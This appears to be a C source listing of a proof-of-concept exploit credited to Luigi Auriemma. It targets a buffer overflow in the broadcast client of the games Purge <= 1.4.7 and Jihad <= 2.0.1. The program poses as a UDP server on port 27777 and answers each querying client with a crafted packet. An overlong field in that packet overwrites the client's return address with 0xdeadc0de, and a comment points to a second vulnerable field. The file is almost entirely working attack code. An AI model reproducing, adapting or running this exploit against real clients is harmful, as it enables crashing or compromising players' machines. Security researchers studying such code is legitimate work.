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C/C++ Source or Header  |  2005-02-12  |  4KB  |  158 lines
  1. /*
  2.  
  3. by Luigi Auriemma
  4.  
  5. UNIX & WIN VERSION
  6. */
  7.  
  8.  
  9. #include <stdio.h>
  10. #include <stdlib.h>
  11. #include <string.h>
  12.  
  13. #ifdef WIN32
  14.     #include <winsock.h>
  15.     #include "winerr.h"
  16.  
  17.     #define close   closesocket
  18. #else
  19.     #include <unistd.h>
  20.     #include <sys/socket.h>
  21.     #include <sys/types.h>
  22.     #include <arpa/inet.h>
  23.     #include <netdb.h>
  24. #endif
  25.  
  26.  
  27.  
  28.  
  29. #define VER     "0.1"
  30. #define BUFFSZ  2048
  31. #define PORT    27777
  32. #define PCK     "EYE1" \
  33.                 "\x06" "purge" \
  34.                 "\x06" "27777" \
  35.                 "\x0a" "destroyer" \
  36.                 "\xff" \
  37.                 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
  38.                 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
  39.                 "\xde\xc0\xad\xde"      /* return address */ \
  40.                 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
  41.                 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
  42.                 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
  43.                 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
  44.                 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
  45.                 "aaaaaaaaaaaaaaaaaaaaaaaaaa" \
  46.                 "\x0e" "steel chamber"  /* also this is vulnerable */ \
  47.                 "\x06" "2.0.0" \
  48.                 "\x02" "0" \
  49.                 "\x02" "0" \
  50.                 "\x03" "20" \
  51.                 "\x04" "ded" \
  52.                 "\x02" "1" \
  53.                 "\x0b" "maxclients" \
  54.                 "\x03" "20" \
  55.                 "\x05" "time" \
  56.                 "\x05" "1800" \
  57.                 "\x07" "rounds" \
  58.                 "\x02" "3" \
  59.                 "\x03" "ff" \
  60.                 "\x02" "1" \
  61.                 "\x0b" "lamerguard" \
  62.                 "\x02" "1" \
  63.                 "\x09" "deadtalk" \
  64.                 "\x02" "1" \
  65.                 "\x06" "lives" \
  66.                 "\x04" "200" \
  67.                 "\x07" "portal" \
  68.                 "\x02" "2" \
  69.                 "\x08" "persist" \
  70.                 "\x02" "1" \
  71.                 "\x09" "maxlevel" \
  72.                 "\x03" "21" \
  73.                 "\x09" "minlevel" \
  74.                 "\x02" "1" \
  75.                 "\x06" "altar" \
  76.                 "\x02" "1" \
  77.                 "\x01"
  78.  
  79.  
  80.  
  81.  
  82. void std_err(void);
  83.  
  84.  
  85.  
  86.  
  87. int main(int argc, char *argv[]) {
  88.     int         sd,
  89.                 err,
  90.                 on = 1,
  91.                 psz;
  92.     struct  sockaddr_in peer;
  93.     u_char      *buff;
  94.  
  95.  
  96.     setbuf(stdout, NULL);
  97.  
  98.     fputs("\n"
  99.         "Purge <= 1.4.7 and Jihad <= 2.0.1 broadcast client's buffer overflow "VER"\n"
  100.         "by Luigi Auriemma\n"
  101.         "e-mail: aluigi@altervista.org\n"
  102.         "web:    http://aluigi.altervista.org\n"
  103.         "\n"
  104.         "Return address will be overwritten by 0xdeadc0de\n"
  105.         "\n", stdout);
  106.  
  107. #ifdef WIN32
  108.     WSADATA    wsadata;
  109.     WSAStartup(MAKEWORD(1,0), &wsadata);
  110. #endif
  111.  
  112.     peer.sin_addr.s_addr = INADDR_ANY;
  113.     peer.sin_port        = htons(PORT);
  114.     peer.sin_family      = AF_INET;
  115.     psz                  = sizeof(peer);
  116.  
  117.     printf("\nBinding UDP port %u\n", PORT);
  118.  
  119.     sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  120.     if(sd < 0) std_err();
  121.  
  122.     err = setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on));
  123.     if(err < 0) std_err();
  124.     err = bind(sd, (struct sockaddr *)&peer, psz);
  125.     if(err < 0) std_err();
  126.  
  127.     buff = malloc(BUFFSZ);
  128.     if(!buff) std_err();
  129.  
  130.     fputs("\nClients:\n", stdout);
  131.     while(1) {
  132.         err = recvfrom(sd, buff, BUFFSZ, 0, (struct sockaddr *)&peer, &psz);
  133.         if(err < 0) std_err();
  134.  
  135.         printf("  %s:%hu\n", inet_ntoa(peer.sin_addr), htons(peer.sin_port));
  136.  
  137.         err = sendto(sd, PCK, sizeof(PCK) - 1, 0, (struct sockaddr *)&peer, psz);
  138.         if(err < 0) std_err();
  139.     }
  140.     close(sd);
  141.  
  142.     return(0);
  143. }
  144.  
  145.  
  146.  
  147.  
  148.  
  149. #ifndef WIN32
  150.     void std_err(void) {
  151.         perror("\nError");
  152.         exit(1);
  153.     }
  154. #endif
  155.  
  156.  
  157.  
  158.